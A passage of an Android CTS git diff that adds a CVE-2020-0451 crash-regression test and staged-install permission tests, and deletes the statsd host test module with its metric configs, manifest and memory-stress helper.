+ @Test
+ public void testPocCVE_2020_0451() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
+ String inputFiles[] = {"cve_2020_0451.aac"};
+ String binaryName = "CVE-2020-0451";
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
* b/112891564
* Vulnerability Behaviour: SIGSEGV in self (Android P),
* SIGABRT in self (Android Q onward)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..18ad055 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -319,7 +319,7 @@
getContext().registerReceiver(onResult, myFilter);
assertTrue(getManager().requestPinShortcut(ms2,
PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
- PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+ PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
assertTrue("Didn't receive requestPinShortcut() callback.",
latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 8ecfd16..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -189,8 +189,10 @@
PackageInstaller packageInstaller = getPackageInstaller();
List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
- if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
- // Cannot abandon a child session
+ if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+ || sessionInfo.isStagedSessionApplied()
+ || sessionInfo.isStagedSessionFailed()) {
+ // Cannot abandon a child session; no need to abandon terminated sessions
continue;
}
try {
@@ -1188,6 +1190,55 @@
.contains("AVB footer verification failed");
}
+ /**
+ * Test non-priv apps cannot access /data/app-staging folder contents
+ */
+ @Test
+ public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+ final int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ // Non-priv apps should not be able to view contents of app-staging directory
+ final File appStagingDir = new File("/data/app-staging");
+ assertThat(appStagingDir.exists()).isTrue();
+ assertThat(appStagingDir.listFiles()).isNull();
+ // Non-owner user should not be able to access sub-dirs of app-staging directory
+ final File appStagingSubDir = new File("/data/app-staging/session_" + sessionId);
+ assertThat(appStagingSubDir.exists()).isFalse();
+ assertThat(appStagingDir.listFiles()).isNull();
+ }
+
+ private static long getInstalledVersion(String packageName) {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ PackageManager pm = context.getPackageManager();
+ try {
+ PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+ return info.getLongVersionCode();
+ } catch (PackageManager.NameNotFoundException e) {
+ return -1;
+ }
+ }
+
+ @Test
+ public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+ final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+ assertThat(info).isNotNull();
+ boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ boolean isUpdatedSystemApp =
+ (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ assertThat(isSystemApp).isTrue();
+ assertThat(isUpdatedSystemApp).isFalse();
+ }
+
+ @Test
+ public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+ final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+ assertThat(info).isNotNull();
+ boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+ boolean isUpdatedSystemApp =
+ (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+ assertThat(isSystemApp).isFalse();
+ assertThat(isUpdatedSystemApp).isTrue();
+ }
+
// It becomes harder to maintain this variety of install-related helper methods.
// TODO(ioffe): refactor install-related helper methods into a separate utility.
private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 7efeb6b..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -246,6 +246,7 @@
@Test
// Don't mark as @LargeTest since we want at least one test to install apex during pre-submit.
public void testInstallStagedApexAndApk() throws Exception {
+ assumeSystemUser();
assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
setDefaultLauncher(BROADCAST_RECEIVER_COMPONENT);
@@ -657,6 +658,24 @@
runPhase("testApexWithUnsignedPayloadFailsVerification");
}
+ @Test
+ @LargeTest
+ public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+ assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+ runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+ installV2Apex();
+ runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+ }
+
+ /**
+ * Test non-priv apps cannot access /data/app-staging folder contents
+ */
+ @Test
+ public void testAppStagingDirCannotBeReadByNonPrivApps() throws Exception {
+ runPhase("testAppStagingDirCannotBeReadByNonPrivApps");
+ }
+
/**
* Store the component name of the default launcher. This value will be used to reset the
* default launcher to its correct component upon test completion.
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
deleted file mode 100644
index 386606b..0000000
--- a/hostsidetests/statsd/Android.bp
+++ /dev/null
@@ -1,43 +0,0 @@
-// Copyright (C) 2014 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test_host {
- name: "CtsStatsdHostTestCases",
-
- srcs: ["src/**/*.java"],
-
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
- "mts",
- ],
-
- libs: [
- "compatibility-host-util",
- "cts-tradefed",
- "host-libprotobuf-java-full",
- "platformprotos",
- "tradefed",
- "truth-prebuilt",
- ],
- static_libs: [
- "core_cts_test_resources",
- "perfetto_config-full",
- ],
- data: [
- "**/*.pbtxt",
- ":CtsStatsdApp",
- ],
-}
diff --git a/hostsidetests/statsd/AndroidTest.xml b/hostsidetests/statsd/AndroidTest.xml
deleted file mode 100644
index 451ad73..0000000
--- a/hostsidetests/statsd/AndroidTest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Statsd host test cases">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="statsd" />
- <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsStatsdHostTestCases.jar" />
- </test>
-
- <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
- <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
- </object>
-</configuration>
diff --git a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
deleted file mode 100644
index 4bad614..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt
+++ /dev/null
@@ -1,24 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 98
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
deleted file mode 100644
index 4f13941..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_LAUNCH_COUNT.pbtxt
+++ /dev/null
@@ -1,36 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- dimensions_in_what {
- field: 100
- child {
- field: 1
- },
- child {
- field: 2
- },
- child {
- field: 3
- }
- }
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 100
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt b/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
deleted file mode 100644
index 87afb2d..0000000
--- a/hostsidetests/statsd/BATTERYSTATS_SERVICE_START_COUNT.pbtxt
+++ /dev/null
@@ -1,40 +0,0 @@
-id: 8835981461554930288
-count_metric {
- id: 543749824321007836
- what: 3909523419673092535
- dimensions_in_what {
- field: 99
- child {
- field: 1
- },
- child {
- field: 2
- },
- child {
- field: 3
- }
- }
- bucket: ONE_DAY
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 99
- field_value_matcher: {
- eq_int: 1
- field: 4
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/OWNERS b/hostsidetests/statsd/OWNERS
deleted file mode 100644
index 5e51cc4..0000000
--- a/hostsidetests/statsd/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 366902
-jeffreyhuang@google.com
-muhammadq@google.com
-singhtejinder@google.com
-tsaichristine@google.com
-yaochen@google.com
-yro@google.com
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
deleted file mode 100644
index 6655599..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
+++ /dev/null
@@ -1,70 +0,0 @@
-# DURATION_PROCESS_STATE_IN_CACHED_EMPTY_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
- id: -7871805656933174442
- what: -4194528603977557137
- aggregation_type: SUM
- dimensions_in_what {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN CACHED_EMPTY
-atom_matcher {
- id: -2354884036751182872
- combination {
- operation: NOT
- matcher: -7794766650955623092
- }
-}
-# PROC_STATE IN CACHED_EMPTY
-atom_matcher {
- id: -7794766650955623092
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1018
- }
- }
-}
-predicate {
- id: -4194528603977557137
- simple_predicate {
- start: -7794766650955623092
- stop: -2354884036751182872
- count_nesting: false
- dimensions {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
deleted file mode 100644
index 7f071e3..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
+++ /dev/null
@@ -1,45 +0,0 @@
-# VALUE_MAX_PSS_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-value_metric {
- id: 1867856787681329178
- what: -3480158308153459853
- value_field {
- field: 18
- child {
- field: 4
- }
- }
- dimensions_in_what {
- field: 18
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 9
- }
- }
- bucket: ONE_MINUTE
- aggregation_type: MAX
-}
-# PROCESS_MEMORY_STAT_REPORTED
-atom_matcher {
- id: -3480158308153459853
- simple_atom_matcher {
- atom_id: 18
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
deleted file mode 100644
index e388d54..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
+++ /dev/null
@@ -1,91 +0,0 @@
-# DURATION_PROCESS_STATE_IN_TOP_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
- id: -1365360216258753370
- what: -8800411078553365796
- aggregation_type: SUM
- dimensions_in_what {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN TOP
-atom_matcher {
- id: -7829668247086356765
- combination {
- operation: NOT
- matcher: -2987742411590785849
- }
-}
-# PROCESS_STATE TOP
-atom_matcher {
- id: 509484152027467470
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1002
- }
- }
-}
-# PROCESS_STATE TOP_SLEEPING
-atom_matcher {
- id: -3293304223207806916
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1011
- }
- }
-}
-# PROC_STATE IN TOP
-atom_matcher {
- id: -2987742411590785849
- combination {
- operation: OR
- matcher: 509484152027467470
- matcher: -3293304223207806916
- }
-}
-predicate {
- id: -8800411078553365796
- simple_predicate {
- start: -2987742411590785849
- stop: -7829668247086356765
- count_nesting: false
- dimensions {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
deleted file mode 100644
index 8444943..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
- id: 543749824321007836
- what: 3909523419673092535
- gauge_fields_filter {
- include_all: true
- }
- bucket: ONE_DAY
- condition: -377136895
- sampling_type: CONDITION_CHANGE_TO_TRUE
- # Normal user should have <1000
- max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 10029
- }
-}
-atom_matcher {
- id: -1651300237
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 1
- }
- }
-}
-atom_matcher {
- id: -1651300236
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 2
- }
- }
-}
-predicate {
- id: -377136895
- simple_predicate {
- start: -1651300237
- stop: -1651300236
- count_nesting: false
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
deleted file mode 100644
index 1effda6..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
- id: 543749824321007836
- what: 3909523419673092535
- gauge_fields_filter {
- include_all: true
- }
- bucket: ONE_DAY
- condition: -377136895
- sampling_type: CONDITION_CHANGE_TO_TRUE
- # Normal user should have <1000
- max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 10034
- }
-}
-atom_matcher {
- id: -1651300237
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 1
- }
- }
-}
-atom_matcher {
- id: -1651300236
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 2
- }
- }
-}
-predicate {
- id: -377136895
- simple_predicate {
- start: -1651300237
- stop: -1651300236
- count_nesting: false
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/TEST_MAPPING b/hostsidetests/statsd/TEST_MAPPING
deleted file mode 100644
index f48ff4b..0000000
--- a/hostsidetests/statsd/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "postsubmit" : [
- {
- "name" : "CtsStatsdHostTestCases"
- }
- ]
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
deleted file mode 100644
index 6e0ef51..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
- name: "liblmkhelper",
- srcs: ["jni/alloc_stress_activity.cpp"],
- cflags: [
- "-Wall",
- "-Werror",
- ],
- header_libs: ["jni_headers"],
- shared_libs: ["liblog"],
- stl: "c++_static",
- sdk_version: "current",
-}
-
-android_test_helper_app {
- name: "CtsStatsdApp",
- defaults: ["cts_defaults"],
- platform_apis: true,
- min_sdk_version: "24",
- srcs: [
- "src/**/*.java",
- ":statslog-statsd-cts-java-gen",
- ],
- libs: [
- "android.test.runner",
- "junit",
- "org.apache.http.legacy",
- ],
- privileged: true,
- static_libs: [
- "ctstestrunner-axt",
- "compatibility-device-util-axt",
- "androidx.legacy_legacy-support-v4",
- "androidx.test.rules",
- "cts-net-utils",
- "BlobStoreTestUtils"
- ],
- jni_libs: ["liblmkhelper"],
- compile_multilib: "both",
-}
-
-genrule {
- name: "statslog-statsd-cts-java-gen",
- tools: ["stats-log-api-gen"],
- cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsd --javaClass StatsLogStatsdCts",
- out: ["com/android/server/cts/device/statsd/StatsLogStatsdCts.java"],
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
deleted file mode 100644
index 875488b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ /dev/null
@@ -1,117 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.server.cts.device.statsd"
- android:versionCode="10">
- <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
- <uses-permission android:name="android.permission.CAMERA"/>
- <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
- <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS"/>
- <uses-permission android:name="android.permission.DUMP"/> <!-- must be granted via pm grant -->
- <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.VIBRATE"/>
- <uses-permission android:name="android.permission.WAKE_LOCK"/>
- <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
- <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
-
- <application android:label="@string/app_name">
- <uses-library android:name="android.test.runner"/>
- <uses-library android:name="org.apache.http.legacy"
- android:required="false"/>
-
- <service android:name=".StatsdCtsBackgroundService"
- android:exported="true"/>
- <activity android:name=".StatsdCtsForegroundActivity"
- android:exported="true"/>
- <service android:name=".StatsdCtsForegroundService"
- android:foregroundServiceType="camera"
- android:exported="true"/>
-
- <activity android:name=".VideoPlayerActivity"
- android:label="@string/app_name"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
- android:launchMode="singleTop"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
-
- <activity android:name=".DaveyActivity"
- android:exported="true"/>
- <activity android:name=".ANRActivity"
- android:label="ANR Test Activity"
- android:launchMode="singleInstance"
- android:process=":ANRProcess"
- android:exported="true"/>
-
- <service android:name=".StatsdAuthenticator"
- android:exported="false">
- <intent-filter>
- <action android:name="android.accounts.AccountAuthenticator"/>
- </intent-filter>
-
- <meta-data android:name="android.accounts.AccountAuthenticator"
- android:resource="@xml/authenticator"/>
- </service>
- <service android:name="StatsdSyncService"
- android:exported="false">
- <intent-filter>
- <action android:name="android.content.SyncAdapter"/>
- </intent-filter>
- <meta-data android:name="android.content.SyncAdapter"
- android:resource="@xml/syncadapter"/>
- </service>
-
- <provider android:name=".StatsdProvider"
- android:authorities="com.android.server.cts.device.statsd.provider"/>
-
- <service android:name=".StatsdJobService"
- android:permission="android.permission.BIND_JOB_SERVICE"/>
-
- <service android:name=".DummyCallscreeningService"
- android:permission="android.permission.BIND_SCREENING_SERVICE"
- android:exported="true">
- <intent-filter>
- <action android:name="android.telecom.CallScreeningService"/>
- </intent-filter>
- </service>
-
- <service android:name=".IsolatedProcessService"
- android:isolatedProcess="true"/>
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.server.cts.device.statsd"
- android:label="CTS tests of android.os.statsd stats collection">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener"/>
- </instrumentation>
-</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
deleted file mode 100644
index b98a04b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
-#include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
-#include <unistd.h>
-
-#include <android/log.h>
-#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
-
-using namespace std;
-
-size_t s = 4 * (1 << 20); // 4 MB
-void *gptr;
-extern "C"
-JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsd_StatsdCtsBackgroundService_cmain(JNIEnv* , jobject /* this */)
-{
- long long allocCount = 0;
- while (1) {
- char *ptr = (char *)malloc(s);
- memset(ptr, (int)allocCount >> 10, s);
- for (int i = 0; i < s; i += 4096) {
